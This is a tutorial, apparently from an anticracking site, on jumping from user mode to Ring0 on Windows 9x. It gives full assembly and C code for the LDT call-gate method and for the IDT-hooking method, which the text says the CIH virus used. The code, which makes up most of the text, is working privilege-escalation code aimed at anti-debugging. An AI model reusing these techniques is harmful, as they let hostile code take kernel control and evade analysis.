RING0 ------ The processor has four privileges levels: Ring0, Ring1, Ring2, Ring3 Normal programmes run in Ring3. Ring3 has a lot of restrictions e.g. we can't read debugg registers and then intructions with debugg register dont work (e.g. mov eax, dr7). For us is good have more privileges and thefore we need Ring0. But there is problem, just some special programmes have Ring0 privileges. Device drivers run in Ring0, but code device driver isn't simple. Fortunately Windows has a lot holes, especially Win9x. There are some ways for switch program from Ring3 to Ring0. These methods use a lot viruses but we need it for good objects. These methods work only on Win9x. They worked on WinNT, but these holes were fill, because they used hackers for attacks. We can test version of Windows and if it is Win9x we will use them. If you need use Ring0 on WinNT or Win2k, you must code device driver for this OS. But user must has admin privileges for installation your program. There is way for switch Ring3 to Ring0 too. But it is work only with admin privileges. This maybe good for normal users, because viruses have harder conditions, but for us it isn't very good. But we cant change Windows, we must conform and try find new ways all the time. Switch to Ring0 by LDT (Locale Descriptor Table): ------------------------------------------------- The oldest method which is little used. This isn't the best way, but it is better than the IDT method, because no a lot people know it. Example: ============================================================================= .386p .MODEL FLAT,STDCALL locals jumps UNICODE=0 include w32.inc Extrn SetUnhandledExceptionFilter : PROC .data msg1 db "Switch to Ring0 by LDT",0 msg2 db "Ring0 activated",0 gdt_ df 0 call_ dd 00 dw 0Fh o_gate dw 0 dw 028h ;segment for RING0 dw 0EC00h dw 0 .code Start: mov eax, offset ring0 ;our Ring0 routine mov [o_gate],ax ;set address of our new Ring0 service to our "callgate" shr eax,16 mov [o_gate+6],ax xor eax, eax sgdt fword ptr gdt_ ;save GDT mov ebx,dword ptr [gdt_+2] ;GDT base address sldt ax add ebx,eax ;discriptor address mov al,[ebx+4] mov ah,[ebx+7] shl eax,16 ;LDT address mov ax,[ebx+2] ;callgate's discriptor address add eax,8 mov edi,eax ;set in callgate for changes mov esi,offset o_gate ;our "callgate" address movsd ;move it to real callgate movsd ;for jump to Ring0 call fword ptr [call_] ;jump to Ring0 to our Ring0 service xor eax, eax sub edi,8 ;delete our changes in callgate stosd stosd call MessageBoxA,0, offset msg2, offset msg1,0 call ExitProcess, -1 ;---------------------------------------------------------- ;Our new Ring0 service ;---------------------------------------------------------- ring0: mov eax, dr7 ;test for Ring0 retf ;back to RING3 ends end Start ============================================================================= I found on Internet next example by SoPinKy which is like to previous but it is in C language. Example: ============================================================================= Main.CPP ------------------------------------CUT-------------------------------------- #include #include "DirectHackers.h" //it is a example of a proc in Ring 0 Ring0Proc() { InitRing0(); __asm { int 20h //get current vm _emit 0x01 //Function ID _emit 0x00 _emit VMM_ID //VXD ID _emit 0x00 //in ebx i have the handle //of virtual machine } RetCallback; }; int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, PSTR lpCmdLine,int nCmdShow) { MSG msg ; DWORD a; int x; __asm pusha InitDirectH(); CallRing0((unsigned int)Ring0Proc); __asm popa return 0; } ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;A .h Files;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DirectHackers.h ------------------------------------CUT-------------------------------------- #ifndef __DirectHackers_h #define __DirectHackers_h #include "VMMStruct.h" //Data DWORD VM=0,TR=0; Control_Block *VMCBSystem=0,*VMCB=0; DWORD esp3; WORD cs3,ds3,es3,sp3,fs3,gs3; //State of ring 3 register WORD cs0,ds0,es0,fs0,gs0; //State of ring 0 register Comp *Callb,Callbcpy; //a callbacks //to return of ring 0 #define RetCallback \ _asm sti \ _asm pop edi \ _asm pop esi \ _asm pop ebx \ _asm leave \ _asm retf; InitDirectH() { FPWORD gdt; //Base of GDT Descriptor *gdtdesc; word a; __asm sgdt gdt; //get the addres of GDT gdtdesc=(Descriptor *)gdt.base; __asm //Save the ring 3 Segments selectors { mov cs3,cs mov ds3,ds mov es3,es mov sp3,sp mov fs3,fs mov gs3,gs mov esp3,esp } //Serch for the adecuate CS for(a=0;a<(gdt.limite>>3);a++) { gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a)); if(gdtdesc->limit_l==0xffff && gdtdesc->base_l==0x0000 && gdtdesc->base_m==0x00 && gdtdesc->access==0x9b && gdtdesc->limit_h== 0xcf && gdtdesc->base_h==0x00)break; } cs0=a<<3; //Serch for the adecuate DS, ES, Etc for(a=0;a<(gdt.limite>>3);a++) { gdtdesc=(Descriptor *)(gdt.base+((DWORD)0x08*a)); if(gdtdesc->limit_l==0xffff && gdtdesc->base_l==0x0000 && gdtdesc->base_m==0x00 && gdtdesc->access==0x93 && gdtdesc->limit_h== 0xcf && gdtdesc->base_h==0x00)break; } ds0=a<<3; es0=a<<3; fs0=a<<3; gs0=a<<3; } //Call a proc and switch to ring 0 CallRing0(DWORD PUNTERO) { FPWORD gdt; Descriptor *gdtdesc; Comp *Callb,Callbcpy; FARJMP salto; WORD h,l; salto.offset32=0; salto.seg=0x08; __asm sgdt gdt; gdtdesc=(Descriptor *)(gdt.base+8); Callb=(Comp *)(gdt.base+8); Callbcpy.sel=Callb->sel; //make a copy Callbcpy.attrib=Callb->attrib; Callbcpy.offs_l=Callb->offs_l; Callbcpy.offs_h=Callb->offs_h; Callb->sel=cs0; Callb->attrib=0xec00;; __asm { mov eax,PUNTERO mov l,ax shr eax,16 mov h,ax } Callb->offs_l=l; Callb->offs_h=h; __asm { push ds push es push gs push fs } //save the ring 3 segment selectors __asm //Call the CALL GATE!!!! { cli call FWORD PTR salto } //restore de segment selectors in ring 3 __asm { cli pop fs pop gs pop es pop ds sti } return; } InitRing0() { FPWORD gdt; Comp *Callb; __asm sgdt gdt; __asm cli Callb=(Comp *)(gdt.base+8); Callb->sel=Callbcpy.sel; Callb->attrib=Callbcpy.attrib; Callb->offs_l=Callbcpy.offs_l; Callb->offs_h=Callbcpy.offs_h; __asm { mov ds,ds0 mov es,es0 mov fs,fs0 mov gs,gs0 sti //int 3h int 20h _emit 0x08 //get the thead handle _emit 0x01 _emit VMM_ID _emit 0x00 mov TR,edi int 20h _emit 0x01 //get current vm _emit 0x00 _emit VMM_ID _emit 0x00 mov VM,ebx //current VM handle, osea de sistema sti } } #endif ------------------------------------CUT-------------------------------------- VMMStruct.h ------------------------------------CUT-------------------------------------- #ifndef __vmmstruct_h #define __vmmstruct_h //definitions #define Get_Cur_VM_Handle 0x01 #define Get_VMM_Version 0x00 #define VMM_ID 0x01 #define VDD_ID 0x0a #define VFD_ID 0x0011f; #define VWIN32_ID 0x0002A #define SHELL_ID 0x00017 #define word unsigned short #define dword unsigned int #define DWORD unsigned int #define WORD unsigned short #define byte unsigned char #define BYTE unsigned char //Structs #pragma pack(1) typedef struct { word limite; dword base; }FPWORD; typedef struct { dword offset32; word seg; }FARJMP; //struct of descriptors typedef struct { WORD limit_l; WORD base_l; BYTE base_m; BYTE access; BYTE limit_h; BYTE base_h; }Descriptor; typedef struct { WORD desp_l; WORD sel; BYTE tipo_l; BYTE tipo_h; BYTE desp_h; }Idt_Descriptor; //compuertas del 386 typedef struct { WORD offs_l; WORD sel; WORD attrib; WORD offs_h; }Comp; //Description Block typedef struct { ULONG DDB_Next; /* VMM RESERVED FIELD */ USHORT DDB_SDK_Version; /* INIT RESERVED FIELD */ USHORT DDB_Req_Device_Number; /* INIT */ UCHAR DDB_Dev_Major_Version; /* INIT <0> Major device number */ UCHAR DDB_Dev_Minor_Version; /* INIT <0> Minor device number */ USHORT DDB_Flags; /* INIT <0> for init calls complete */ UCHAR DDB_Name[8]; /* AINIT <" "> Device name */ ULONG DDB_Init_Order; /* INIT */ ULONG DDB_Control_Proc; /* Offset of control procedure */ ULONG DDB_V86_API_Proc; /* INIT <0> Offset of API procedure */ ULONG DDB_PM_API_Proc; /* INIT <0> Offset of API procedure */ ULONG DDB_V86_API_CSIP; /* INIT <0> CS:IP of API entry point */ ULONG DDB_PM_API_CSIP; /* INIT <0> CS:IP of API entry point */ ULONG DDB_Reference_Data; /* Reference data from real mode */ ULONG DDB_Service_Table_Ptr; /* INIT <0> Pointer to service table */ ULONG DDB_Service_Table_Size; /* INIT <0> Number of services */ ULONG DDB_Win32_Service_Table; /* INIT <0> Pointer to Win32 services */ ULONG DDB_Prev; /* INIT <'Prev'> Ptr to prev 4.0 DDB */ ULONG DDB_Size; /* INIT Reserved */ ULONG DDB_Reserved1; /* INIT <'Rsv1'> Reserved */ ULONG DDB_Reserved2; /* INIT <'Rsv2'> Reserved */ ULONG DDB_Reserved3; /* INIT <'Rsv3'> Reserved */ }Desc_Block; //Control block typedef struct { ULONG Client_EDI; /* Client's EDI */ ULONG Client_ESI; /* Client's ESI */ ULONG Client_EBP; /* Client's EBP */ ULONG Client_res0; /* ESP at pushall */ ULONG Client_EBX; /* Client's EBX */ ULONG Client_EDX; /* Client's EDX */ ULONG Client_ECX; /* Client's ECX */ ULONG Client_EAX; /* Client's EAX */ ULONG Client_Error; /* Dword error code */ ULONG Client_EIP; /* EIP */ USHORT Client_CS; /* CS */ USHORT Client_res1; /* (padding) */ ULONG Client_EFlags; /* EFLAGS */ ULONG Client_ESP; /* ESP */ USHORT Client_SS; /* SS */ USHORT Client_res2; /* (padding) */ USHORT Client_ES; /* ES */ USHORT Client_res3; /* (padding) */ USHORT Client_DS; /* DS */ USHORT Client_res4; /* (padding) */ USHORT Client_FS; /* FS */ USHORT Client_res5; /* (padding) */ USHORT Client_GS; /* GS */ USHORT Client_res6; /* (padding) */ ULONG Client_Alt_EIP; USHORT Client_Alt_CS; USHORT Client_res7; ULONG Client_Alt_EFlags; ULONG Client_Alt_ESP; USHORT Client_Alt_SS; USHORT Client_res8; USHORT Client_Alt_ES; USHORT Client_res9; USHORT Client_Alt_DS; USHORT Client_res10; USHORT Client_Alt_FS; USHORT Client_res11; USHORT Client_Alt_GS; USHORT Client_res12; }Client_Reg_Struc; typedef struct Thread_Control_Block { ULONG TCB_Flags; /* Thread status flags */ ULONG TCB_Reserved1; /* Used internally by VMM */ ULONG TCB_Reserved2; /* Used internally by VMM */ ULONG TCB_Signature; ULONG TCB_ClientPtr; /* Client registers of thread */ ULONG TCB_VMHandle; /* VM that thread is part of */ USHORT TCB_ThreadId; /* Unique Thread ID */ USHORT TCB_PMLockOrigSS; /* Original SS:ESP before lock stack */ ULONG TCB_PMLockOrigESP; ULONG TCB_PMLockOrigEIP; /* Original CS:EIP before lock stack */ ULONG TCB_PMLockStackCount; USHORT TCB_PMLockOrigCS; USHORT TCB_PMPSPSelector; ULONG TCB_ThreadType; /* dword passed to VMMCreateThread */ USHORT TCB_pad1; /* reusable; for dword align */ UCHAR TCB_pad2; /* reusable; for dword align */ UCHAR TCB_extErrLocus; /* extended error Locus */ USHORT TCB_extErr; /* extended error Code */ UCHAR TCB_extErrAction; /* " " Action */ UCHAR TCB_extErrClass; /* " " Class */ ULONG TCB_extErrPtr; /* " pointer */ }Thread_Control_Block; typedef struct { DWORD CB_VM_Status ; DWORD CB_High_Linear ; DWORD CB_Client_Pointer ; DWORD CB_VMID ; DWORD CB_Signature ; }Control_Block; #endif ------------------------------------CUT-------------------------------------- ============================================================================= I think Assembler example is better for read than this C example. Switch to Ring0 by IDT (Interupt Descriptor Table) aka EliCZ's method: ------------------------------------------------- Next method is the best know. I saw it firts when used it my friend EliCZ. After some days there was CIH virus which used this method. Most of programms which use Ring0 switching, use this method. Some of anti-anti-debugg cracker's tools can detect it (Frog-Ice, IceDump). Example: ============================================================================= .386p .MODEL FLAT,STDCALL locals jumps UNICODE=0 include w32.inc Extrn SetUnhandledExceptionFilter : PROC Interrupt equ 5 ;interrupt number which we will use ;if you use Int 1h or 3h, it will be ;more harder debugg your program .DATA msg1 db "Switch to Ring0 by IDT",0 msg2 db "Ring0 activated",0 .CODE Start: push edx sidt [esp-2] ;read IDT to stack pop edx ;address of Interrupt table add edx,(Interrupt*8)+4 ;Interrupt table base+Int number+size for ;Int in Interrupt table=Int vector address mov ebx,[edx] mov bx,word ptr [edx-4] ;read old address our interrupt (INT 5h) lea edi,InterruptHandler mov [edx-4],di ror edi,16 ;set our new interrupt handler mov [edx+2],di push ds ;save registers push es int Interrupt ;jump to Ring0 (our int 5h handler) pop es ;restore registers pop ds mov [edx-4],bx ;set old int 5h handler ror ebx,16 mov [edx+2],bx call MessageBoxA,0, offset msg2, offset msg1,0 call ExitProcess, -1 ;----------------------------------------------------------------------------- ;OUR NEW INT 5h HANDLER (it run in Ring0) ;----------------------------------------------------------------------------- InterruptHandler: mov eax,dr7 ;test for Ring0 iretd ;jump back to Ring3 ends end Start ============================================================================= There are some other methods. But they weren't use in any program. I write about them in secret area. There are two other methods for Win9x (two very good methods) and one method for WinNT and Win2k. Pavol Cerven www.anticracking.sk